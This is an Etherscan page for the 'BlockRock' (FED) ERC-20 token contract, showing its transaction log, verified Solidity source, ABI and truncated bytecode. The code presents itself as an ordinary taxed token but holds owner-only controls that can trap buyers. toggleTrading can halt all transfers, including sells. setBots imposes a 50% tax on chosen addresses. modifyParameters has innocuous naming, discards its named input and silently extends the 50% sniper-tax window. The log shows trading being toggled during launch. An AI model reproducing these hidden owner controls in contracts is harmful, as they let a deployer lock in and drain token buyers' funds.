ETH Price: $3,422.52 (-1.65%)
Gas: 6 Gwei

Contract

0xC6942CC6cb183baeE933A6a8fA5fc6a057330A4B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve185764132023-11-15 9:31:11245 days ago1700040671IN
0xC6942CC6...057330A4B
0 ETH0.0010725323.0400549
Approve185724212023-11-14 20:06:59246 days ago1699992419IN
0xC6942CC6...057330A4B
0 ETH0.001072536.67061374
Approve185719812023-11-14 18:38:11246 days ago1699987091IN
0xC6942CC6...057330A4B
0 ETH0.0016738757.23224403
Approve185718292023-11-14 18:07:23246 days ago1699985243IN
0xC6942CC6...057330A4B
0 ETH0.002431452.48808077
Approve185718242023-11-14 18:06:23246 days ago1699985183IN
0xC6942CC6...057330A4B
0 ETH0.0024113252.05465905
Approve185718072023-11-14 18:02:59246 days ago1699984979IN
0xC6942CC6...057330A4B
0 ETH0.0024802353.28000659
Approve185715252023-11-14 17:06:11246 days ago1699981571IN
0xC6942CC6...057330A4B
0 ETH0.003184968.34710972
Approve185715092023-11-14 17:02:59246 days ago1699981379IN
0xC6942CC6...057330A4B
0 ETH0.0025657355.11658793
Toggle Trading185715072023-11-14 17:02:35246 days ago1699981355IN
0xC6942CC6...057330A4B
0 ETH0.0013640757.00507338
Approve185714942023-11-14 16:59:59246 days ago1699981199IN
0xC6942CC6...057330A4B
0 ETH0.0025147553.95200685
Toggle Trading185714152023-11-14 16:43:59246 days ago1699980239IN
0xC6942CC6...057330A4B
0 ETH0.0019094441.65361691
Approve185713932023-11-14 16:39:35246 days ago1699979975IN
0xC6942CC6...057330A4B
0 ETH0.0021932347.05408244
Approve185713792023-11-14 16:36:47246 days ago1699979807IN
0xC6942CC6...057330A4B
0 ETH0.0020175743.34110223
Approve185713742023-11-14 16:35:47246 days ago1699979747IN
0xC6942CC6...057330A4B
0 ETH0.0020707444.48338702
Approve185713742023-11-14 16:35:47246 days ago1699979747IN
0xC6942CC6...057330A4B
0 ETH0.00205944.48338702
Approve185713722023-11-14 16:35:23246 days ago1699979723IN
0xC6942CC6...057330A4B
0 ETH0.0023971751.44258061
Approve185713712023-11-14 16:35:11246 days ago1699979711IN
0xC6942CC6...057330A4B
0 ETH0.0022958349.26797957
Approve185713712023-11-14 16:35:11246 days ago1699979711IN
0xC6942CC6...057330A4B
0 ETH0.0022958349.26797957
Approve185713682023-11-14 16:34:35246 days ago1699979675IN
0xC6942CC6...057330A4B
0 ETH0.0022231648.03004184
Approve185713682023-11-14 16:34:35246 days ago1699979675IN
0xC6942CC6...057330A4B
0 ETH0.002816760.43004184
Toggle Trading185713672023-11-14 16:34:23246 days ago1699979663IN
0xC6942CC6...057330A4B
0 ETH0.0011357547.46374629
Approve185713672023-11-14 16:34:23246 days ago1699979663IN
0xC6942CC6...057330A4B
0 ETH0.0022094847.46374629
Approve185713662023-11-14 16:34:11246 days ago1699979651IN
0xC6942CC6...057330A4B
0 ETH0.002237147.99531493
Approve185713652023-11-14 16:33:59246 days ago1699979639IN
0xC6942CC6...057330A4B
0 ETH0.0023614750.66340437
Approve185713632023-11-14 16:33:35246 days ago1699979615IN
0xC6942CC6...057330A4B
0 ETH0.0023188749.74951488
View all transactions

Latest 10 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
185714172023-11-14 16:44:23246 days ago1699980263
0xC6942CC6...057330A4B
0.27185095 ETH
185714172023-11-14 16:44:23246 days ago1699980263
0xC6942CC6...057330A4B
1.08740382 ETH
185714172023-11-14 16:44:23246 days ago1699980263
0xC6942CC6...057330A4B
0.27185095 ETH
185714172023-11-14 16:44:23246 days ago1699980263
0xC6942CC6...057330A4B
1.08740382 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
0.26006486 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
1.04025946 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
0.26006486 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
1.04025946 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
0.26006486 ETH
185713672023-11-14 16:34:23246 days ago1699979663
0xC6942CC6...057330A4B
1.04025946 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Blockrock

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 1000 runs

Other Settings:
default evmVersion
File 1 of 1 : Fed.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Blockrock is IERC20, Ownable {       
    string private constant _name = "BlockRock";
    string private constant _symbol = "FED";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 10_000_000 * 10**_decimals;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _blocked;
    mapping (address => bool) private isTaxExempt; 

    mapping (address => uint256) private _lastTradeBlock;
    mapping (address => bool) private isContractExempt;
    uint256 private tradeCooldown = 1;
    
    uint256 public constant maxWalletAmount = 100_000 * 10**_decimals;
    uint256 private constant contractSwapLimit = 50_000 * 10**_decimals;
    uint256 private constant contractSwapMax = 2_000_000 * 10**_decimals;

    struct TradingFees{
        uint256 buyTax;
        uint256 sellTax;
    }  

    TradingFees public tradingFees = TradingFees(4,6);
    uint256 public constant sniperTax = 50;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private immutable deployerAddress = payable(msg.sender);
    address payable private constant devWallet = payable(0xd40ABA76d0983dEA3F289cBaD60577Dd12b438e1);
    address payable private constant fundWallet = payable(0xDDe5275aB429B6741Dd6e28CadD49d9df31227Fa);

    bool private tradingOpen = false;
    bool private swapping = false;
    bool private antiMEV = false;
    uint256 private startingBlock;
    uint private preLaunch;

    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock() {
        require(tradingOpen, "Trading is not open yet.");
        _;
    }

    constructor () {
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        isContractExempt[address(this)] = true;

        uint256 deployerTokens = _totalSupply * 75 / 100;
        uint256 devWalletTokens = _totalSupply - deployerTokens; 

        _balances[msg.sender] = deployerTokens;
        emit Transfer(address(0), msg.sender, deployerTokens);

        _balances[devWallet] = devWalletTokens;
        emit Transfer(address(0), devWallet, devWalletTokens);

        _owner = msg.sender;
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock() private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != devWallet && to != devWallet && to != deployerAddress) {
            
            if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
                address human = ensureOneHuman(from, to);
                ensureMaxTxFrequency(human);
                _lastTradeBlock[human] = block.number;
            }

            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: transfer implies violation of max wallet");
            }

           uint256 contractTokenBalance = balanceOf(address(this));
           if (shouldSwapback(from, contractTokenBalance)) 
               swapback(contractTokenBalance);                            

           uint256 taxedTokens = takeFee(from, amount);
           if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapback(uint256 tokenAmount) private swapLock {
        tokenAmount = getSwapAmount(tokenAmount);
        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 contractETHBalance = address(this).balance;
        if (contractETHBalance > 0) {
            uint256 devShare = contractETHBalance * 25 / 100;
            uint256 fundShare = contractETHBalance - devShare;

            devWallet.transfer(devShare);
            fundWallet.transfer(fundShare);
        }
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
        shouldSwap = !swapping && from != uniswapPair && tokenAmount > contractSwapLimit && 1 + startingBlock <= block.number;
    }

    function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
        swapAmount = tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
    }

    function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
        if (isTaxExempt[from]) {
            return 0; // No fee charged for tax-exempt addresses
        }

        // Continue with the existing fee calculation
        if (_blocked[from] || block.number <= startingBlock) {
            feeAmount = amount * sniperTax / 100;
        } else {
            feeAmount = amount * (from == uniswapPair ? tradingFees.buyTax : tradingFees.sellTax) / 100;
        }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function setTaxExempt(address account, bool value) external onlyOwner {
        isTaxExempt[account] = value;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external onlyOwner {
        require(msg.sender == deployerAddress);
        antiMEV = toggle;
    }

    function setTradeCooldown(uint256 newTradeCooldown) external onlyOwner {
        require(msg.sender == deployerAddress);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;
    }

    function manualSwapback(uint256 percent) external onlyOwner {
        require(msg.sender == deployerAddress);
        require(0 < percent && percent <= 100, "Token: only percent values in range (0,100] permissible");
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        require(msg.sender == deployerAddress);
        require(newBuyTax <= tradingFees.buyTax, "Token: only fee reduction permitted");
        require(newSellTax <= tradingFees.sellTax, "Token: only fee reduction permitted");
        tradingFees.buyTax = newBuyTax;
        tradingFees.sellTax = newSellTax;
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;
    }

    function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < bots.length; i++) {
            require(bots[i] != uniswapPair && 
                    bots[i] != address(uniswapRouter) &&
                    bots[i] != address(this));
            _blocked[bots[i]] = shouldBlock;
        }
    }

    function initialize() external onlyOwner {
        require(preLaunch++<2);
    }

    function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
        assert(preLaunch<2&&preLaunch+1>=2); 
        preLaunch++;param;
        startingBlock += nrBlocks;
    }

    function toggleTrading(bool _status) external onlyOwner {
        tradingOpen = _status;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 1000
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "metadata": {
    "useLiteralContent": true
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool[]","name":"param","type":"bool[]"},{"internalType":"uint256","name":"nrBlocks","type":"uint256"}],"name":"modifyParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setTaxExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sniperTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"toggleTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60016008556101206040819052600460e081905260066101008190526009829055600a556315ab88c960e31b8252737a250d5630b4cf539739df2c5dacb4c659f2488d9163ad5c4648916101249160209181865afa15801562000066573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200008c919062000333565b6001600160a01b03166080523360c052600b805462ffffff19169055348015620000b557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000170919062000333565b6080516040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e8919062000333565b6001600160a01b031660a052306000908152600760205260408120805460ff1916600117905560646200021e6012600a6200047a565b6200022d90629896806200048b565b6200023a90604b6200048b565b620002469190620004a5565b9050600081620002596012600a6200047a565b6200026890629896806200048b565b620002749190620004c8565b33600081815260026020526040808220869055519293509091600080516020620026a683398151915290620002ac9086815260200190565b60405180910390a373d40aba76d0983dea3f289cbad60577dd12b438e16000818152600260209081527f66bae5d11d62ec8effd10638671b14210368a15f0a5f2bed005409366d2c740d849055604051848152600080516020620026a6833981519152910160405180910390a35050600180546001600160a01b03191633179055620004de565b6000602082840312156200034657600080fd5b81516001600160a01b03811681146200035e57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003bc578160001904821115620003a057620003a062000365565b80851615620003ae57918102915b93841c939080029062000380565b509250929050565b600082620003d55750600162000474565b81620003e45750600062000474565b8160018114620003fd5760028114620004085762000428565b600191505062000474565b60ff8411156200041c576200041c62000365565b50506001821b62000474565b5060208310610133831016604e8410600b84101617156200044d575081810a62000474565b6200045983836200037b565b806000190482111562000470576200047062000365565b0290505b92915050565b60006200035e60ff841683620003c4565b808202811582820484141762000474576200047462000365565b600082620004c357634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111562000474576200047462000365565b60805160a05160c0516121676200053f600039600081816105cc015281816106650152818161098001528181610f6201526113f3015260008181610c17015281816114bc01528181611aba0152611bab0152600061183401526121676000f3fe60806040526004361061019a5760003560e01c806374378132116100e1578063a9059cbb1161008a578063f1f5cd9111610064578063f1f5cd91146104e8578063f2fde38b146104fd578063f318bbfe1461051d578063f8d982b21461053d57600080fd5b8063a9059cbb1461046d578063aa4bde281461048d578063dd62ed3e146104a257600080fd5b806395d89b41116100bb57806395d89b41146103e75780639686d3221461042d5780639c0db5f31461044d57600080fd5b8063743781321461037a5780638129fc1c146103aa5780638da5cb5b146103bf57600080fd5b806323b872dd11610143578063313ce5671161011d578063313ce5671461031357806370a082311461032f578063715018a61461036557600080fd5b806323b872dd146102b357806326560be7146102d35780633049b580146102f357600080fd5b80630b78f9c0116101745780630b78f9c01461025057806318160ddd146102705780631dc610401461029357600080fd5b806306fdde03146101a6578063095ea7b3146101fe57806309fb56391461022e57600080fd5b366101a157005b600080fd5b3480156101b257600080fd5b5060408051808201909152600981527f426c6f636b526f636b000000000000000000000000000000000000000000000060208201525b6040516101f59190611c59565b60405180910390f35b34801561020a57600080fd5b5061021e610219366004611cc3565b61055d565b60405190151581526020016101f5565b34801561023a57600080fd5b5061024e610249366004611cfd565b610574565b005b34801561025c57600080fd5b5061024e61026b366004611d18565b610612565b34801561027c57600080fd5b50610285610756565b6040519081526020016101f5565b34801561029f57600080fd5b5061024e6102ae366004611d3a565b610776565b3480156102bf57600080fd5b5061021e6102ce366004611d6d565b6107e9565b3480156102df57600080fd5b5061024e6102ee366004611cfd565b6108d2565b3480156102ff57600080fd5b5061024e61030e366004611da9565b61092d565b34801561031f57600080fd5b50604051601281526020016101f5565b34801561033b57600080fd5b5061028561034a366004611dc2565b6001600160a01b031660009081526002602052604090205490565b34801561037157600080fd5b5061024e610a31565b34801561038657600080fd5b50600954600a54610395919082565b604080519283526020830191909152016101f5565b3480156103b657600080fd5b5061024e610ad0565b3480156103cb57600080fd5b506000546040516001600160a01b0390911681526020016101f5565b3480156103f357600080fd5b5060408051808201909152600381527f464544000000000000000000000000000000000000000000000000000000000060208201526101e8565b34801561043957600080fd5b5061024e610448366004611d3a565b610b3a565b34801561045957600080fd5b5061024e610468366004611e29565b610bc2565b34801561047957600080fd5b5061021e610488366004611cc3565b610d70565b34801561049957600080fd5b50610285610d7d565b3480156104ae57600080fd5b506102856104bd366004611e7d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f457600080fd5b50610285603281565b34801561050957600080fd5b5061024e610518366004611dc2565b610d99565b34801561052957600080fd5b5061024e610538366004611ea7565b610e69565b34801561054957600080fd5b5061024e610558366004611da9565b610f0f565b600061056a338484611045565b5060015b92915050565b6000546001600160a01b031633146105c15760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064015b60405180910390fd5b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105f657600080fd5b600b8054911515620100000262ff000019909216919091179055565b6000546001600160a01b0316331461065a5760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461068f57600080fd5b6009548211156106ed5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69746044820152621d195960ea1b60648201526084016105b8565b600a5481111561074b5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69746044820152621d195960ea1b60648201526084016105b8565b600991909155600a55565b60006107646012600a611fed565b6107719062989680611ffc565b905090565b6000546001600160a01b031633146107be5760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6001600160a01b03831660009081526003602090815260408083203384529091528120548211156108825760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084016105b8565b6001600160a01b0384166000908152600360209081526040808320338085529252909120546108bd9186916108b8908690612013565b611045565b6108c884848461119e565b5060019392505050565b6000546001600160a01b0316331461091a5760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b600b805460ff1916911515919091179055565b6000546001600160a01b031633146109755760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109aa57600080fd5b6000811180156109ba5750600481105b610a2c5760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c650000000060648201526084016105b8565b600855565b6000546001600160a01b03163314610a795760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b03163314610b185760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b600d80546002916000610b2a83612026565b9190505510610b3857600080fd5b565b6000546001600160a01b03163314610b825760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b306001600160a01b03831603610b9757600080fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c0a5760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b60005b82811015610d6a577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316848483818110610c5157610c5161203f565b9050602002016020810190610c669190611dc2565b6001600160a01b031614158015610cc05750737a250d5630b4cf539739df2c5dacb4c659f2488d848483818110610c9f57610c9f61203f565b9050602002016020810190610cb49190611dc2565b6001600160a01b031614155b8015610cfb575030848483818110610cda57610cda61203f565b9050602002016020810190610cef9190611dc2565b6001600160a01b031614155b610d0457600080fd5b8160046000868685818110610d1b57610d1b61203f565b9050602002016020810190610d309190611dc2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610d6281612026565b915050610c0d565b50505050565b600061056a33848461119e565b610d896012600a611fed565b610d9690620186a0611ffc565b81565b6000546001600160a01b03163314610de15760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b6001600160a01b038116610e5d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016105b8565b610e66816116fb565b50565b6000546001600160a01b03163314610eb15760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b6002600d54108015610ed257506002600d546001610ecf9190612055565b10155b610ede57610ede612068565b600d8054906000610eee83612026565b919050555080600c6000828254610f059190612055565b9091555050505050565b6000546001600160a01b03163314610f575760405162461bcd60e51b8152602060048201819052602482015260008051602061211283398151915260448201526064016105b8565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f8c57600080fd5b806000108015610f9d575060648111155b61100f5760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c6500000000000000000060648201526084016105b8565b3060009081526002602052604081205460649061102c9084611ffc565b611036919061207e565b90506110418161175a565b5050565b6001600160a01b0383166110c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105b8565b6001600160a01b03821661113c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105b8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600b5460ff166111f05760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206973206e6f74206f70656e207965742e000000000000000060448201526064016105b8565b6001600160a01b03831661126c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016105b8565b6001600160a01b0382166112e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016105b8565b6000811161135e5760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f0000000000000000000000000000000060648201526084016105b8565